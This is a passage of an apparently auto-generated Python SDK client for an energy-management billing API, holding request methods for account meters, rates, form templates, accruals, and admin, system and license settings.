client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_account_meter.metadata = {'url': '/api/v3/accountmeter'}
def edit_account_meter(
self, account_meter_id, delete_bills=None, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit an account meter relationship.
:param account_meter_id: The id of the account meter record to edit
:type account_meter_id: int
:param delete_bills: A true value means delete all bills that have at
least 1 line for this account and meter and a bill start date greater
than or equal to the new account and meter relationship end date.
WARNING: Bills for this account may include other meters. The ENTIRE
bill is deleted.
This flag can only be true when:
Editing the most recent relationship between this account and meter
The end date has been changed but not the begin date
:type delete_bills: bool
:param body: Data used to update the account and meter
:type body: ~energycap.sdk.models.AccountMeterEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountMeterResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AccountMeterResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_account_meter.metadata['url']
path_format_arguments = {
'accountMeterId': self._serialize.url("account_meter_id", account_meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if delete_bills is not None:
query_parameters['deleteBills'] = self._serialize.query("delete_bills", delete_bills, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'AccountMeterEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountMeterResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_account_meter.metadata = {'url': '/api/v3/accountmeter/{accountMeterId}'}
def delete_account_meter(
self, account_meter_id, delete_bills=None, custom_headers=None, raw=False, **operation_config):
"""Delete an account meter.
:param account_meter_id:
:type account_meter_id: int
:param delete_bills: A true value means delete all bills that have at
least 1 line for this account and meter
WARNING: Bills for this account include other meters. The ENTIRE bill
is deleted.
This flag can only be true when:
There is a single relationship between the specified account and meter
:type delete_bills: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_account_meter.metadata['url']
path_format_arguments = {
'accountMeterId': self._serialize.url("account_meter_id", account_meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if delete_bills is not None:
query_parameters['deleteBills'] = self._serialize.query("delete_bills", delete_bills, 'bool')
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_account_meter.metadata = {'url': '/api/v3/accountmeter/{accountMeterId}'}
def create_account_rate(
self, account_meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates an AccountRate Relationship. Linking AccountMeter and Rate.
:param account_meter_id:
:type account_meter_id: int
:param body:
:type body: ~energycap.sdk.models.AccountRateRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountMeterRateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AccountMeterRateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_account_rate.metadata['url']
path_format_arguments = {
'accountMeterId': self._serialize.url("account_meter_id", account_meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'AccountRateRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountMeterRateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_account_rate.metadata = {'url': '/api/v3/accountmeter/{accountMeterId}/rate'}
def edit_account_rate_list(
self, account_meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit all AccountRate relationships.
:param account_meter_id:
:type account_meter_id: int
:param body:
:type body: list[~energycap.sdk.models.AccountRateRequest]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AccountMeterRateResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_account_rate_list.metadata['url']
path_format_arguments = {
'accountMeterId': self._serialize.url("account_meter_id", account_meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[AccountRateRequest]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[AccountMeterRateResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_account_rate_list.metadata = {'url': '/api/v3/accountmeter/{accountMeterId}/rate'}
def create_form_template(
self, account_meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Assigns a new template to an account meter.
The new template's begin date must be after the begin date of all
existing template assignments.
:param account_meter_id:
:type account_meter_id: int
:param body:
:type body: ~energycap.sdk.models.FormTemplateRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: FormTemplateResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.FormTemplateResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_form_template.metadata['url']
path_format_arguments = {
'accountMeterId': self._serialize.url("account_meter_id", account_meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'FormTemplateRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('FormTemplateResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_form_template.metadata = {'url': '/api/v3/accountmeter/{accountMeterId}/template'}
def edit_form_template_list(
self, account_meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit all FormTemplate relationships.
:param account_meter_id:
:type account_meter_id: int
:param body:
:type body: list[~energycap.sdk.models.FormTemplateRequest]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.FormTemplateResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_form_template_list.metadata['url']
path_format_arguments = {
'accountMeterId': self._serialize.url("account_meter_id", account_meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[FormTemplateRequest]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[FormTemplateResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_form_template_list.metadata = {'url': '/api/v3/accountmeter/{accountMeterId}/template'}
def delete_template_assignment(
self, account_meter_id, form_template_id, custom_headers=None, raw=False, **operation_config):
"""Delete an template assignment from an account meter
If we are deleting a template assignment in the middle of two other
template assignments, then we will move back the next template's start
date
If we are deleting the last template(current template), the extend
second last template's end date to match the account meter's end date
If we are deleting the first template pull the second template's begin
date to match account meter's begin date.
:param account_meter_id:
:type account_meter_id: int
:param form_template_id:
:type form_template_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_template_assignment.metadata['url']
path_format_arguments = {
'accountMeterId': self._serialize.url("account_meter_id", account_meter_id, 'int'),
'formTemplateId': self._serialize.url("form_template_id", form_template_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_template_assignment.metadata = {'url': '/api/v3/accountmeter/{accountMeterId}/template/{formTemplateId}'}
def process_accruals(
self, filter=None, body=None, custom_headers=None, raw=False, **operation_config):
"""Run the accrual processor engine using the supplied settings to
generate accrual bills.
:param filter: Accrual data selection filters
:type filter: str
:param body: Accrual processor settings
:type body: ~energycap.sdk.models.AccrualProcessorRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GuidResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GuidResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.process_accruals.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'AccrualProcessorRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GuidResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
process_accruals.metadata = {'url': '/api/v3/accrual'}
def void_accrual_task(
self, task_id, custom_headers=None, raw=False, **operation_config):
"""Void all bills created by the Accrual task
If any bills have already been exported they will still be voided.
:param task_id: Identifier for the accrual task
:type task_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.void_accrual_task.metadata['url']
path_format_arguments = {
'taskId': self._serialize.url("task_id", task_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
void_accrual_task.metadata = {'url': '/api/v3/accrual/{taskId}/void'}
def delete_accrual_task(
self, task_id, custom_headers=None, raw=False, **operation_config):
"""Delete all bills created by the Accrual task
If any bills have already been exported they will still be deleted.
:param task_id: Identifier for the accrual task
:type task_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_accrual_task.metadata['url']
path_format_arguments = {
'taskId': self._serialize.url("task_id", task_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_accrual_task.metadata = {'url': '/api/v3/accrual/{taskId}/delete'}
def get_accrual_settings(
self, custom_headers=None, raw=False, **operation_config):
"""Get Accrual settings.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccrualSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AccrualSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_accrual_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccrualSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_accrual_settings.metadata = {'url': '/api/v3/accrual/setting'}
def get_bill_activity(
self, date_parameter=None, custom_headers=None, raw=False, **operation_config):
"""List of a bill IDs that were created or modified since the given date.
:param date_parameter: Created or modified datetime; Defaults to
yesterday at the current time
:type date_parameter: datetime
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.Activity] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_activity.metadata['url']
# Construct parameters
query_parameters = {}
if date_parameter is not None:
query_parameters['date'] = self._serialize.query("date_parameter", date_parameter, 'iso-8601')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[Activity]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_activity.metadata = {'url': '/api/v3/activity/bill'}
def get_system_settings(
self, custom_headers=None, raw=False, **operation_config):
"""
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AdminSettingsResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_system_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[AdminSettingsResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_system_settings.metadata = {'url': '/api/v3/admin/systemsetting'}
def update_system_settings(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param body:
:type body: list[~energycap.sdk.models.AdminSettingsRequest]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AdminSettingsResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_system_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[AdminSettingsRequest]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[AdminSettingsResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_system_settings.metadata = {'url': '/api/v3/admin/systemsetting'}
def get_accounting_settings(
self, custom_headers=None, raw=False, **operation_config):
"""Get accounting settings.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountingSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AccountingSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_accounting_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountingSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_accounting_settings.metadata = {'url': '/api/v3/admin/accounting'}
def edit_accounting_settings(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit accounting settings.
:param body:
:type body: ~energycap.sdk.models.AccountingSettingsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountingSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AccountingSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_accounting_settings.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'AccountingSettingsRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountingSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_accounting_settings.metadata = {'url': '/api/v3/admin/accounting'}
def get_account_periods(
self, custom_headers=None, raw=False, **operation_config):
"""Get the list of account periods.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AccountPeriodResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_periods.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[AccountPeriodResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_account_periods.metadata = {'url': '/api/v3/admin/accountperiod'}
def get_organization_logo(
self, custom_headers=None, raw=False, **operation_config):
"""Retrieve the organization logo, if configured. Only URLs or JPEG, PNG,
and SVG images are acceptable organization logos. If the saved base64
image is of a different file type, it will return an error.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SingleValue or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SingleValue or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_organization_logo.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SingleValue', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_organization_logo.metadata = {'url': '/api/v3/admin/logo'}
def get_system_settings_new(
self, custom_headers=None, raw=False, **operation_config):
"""Get system settings.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SystemSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SystemSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_system_settings_new.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SystemSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_system_settings_new.metadata = {'url': '/api/v3/admin/systemSettings'}
def edit_system_settings_new(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit system settings.
:param body:
:type body: ~energycap.sdk.models.SystemSettingsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SystemSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SystemSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_system_settings_new.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'SystemSettingsRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SystemSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_system_settings_new.metadata = {'url': '/api/v3/admin/systemSettings'}
def get_license_details(
self, custom_headers=None, raw=False, **operation_config):
"""Get license details.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: LicenseResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.LicenseResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_license_details.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('LicenseResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_license_details.metadata = {'url': '/api/v3/admin/license'}
def edit_license_details(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit the license details.
:param body:
:type body: ~energycap.sdk.models.LicenseRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: LicenseResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.LicenseResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_license_details.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'LicenseRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('LicenseResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_license_details.metadata = {'url': '/api/v3/admin/license'}
def process_custom_app_action(
self, webhook_id, custom_headers=None, raw=False, **operation_config):
"""Fire a custom application action webhook.
:param webhook_id: The identifier for the webhook being fired
:type webhook_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WebhookLogDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WebhookLogDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.process_custom_app_action.metadata['url']
path_format_arguments = {
'webhookId': self._serialize.url("webhook_id", webhook_id, 'int')
}
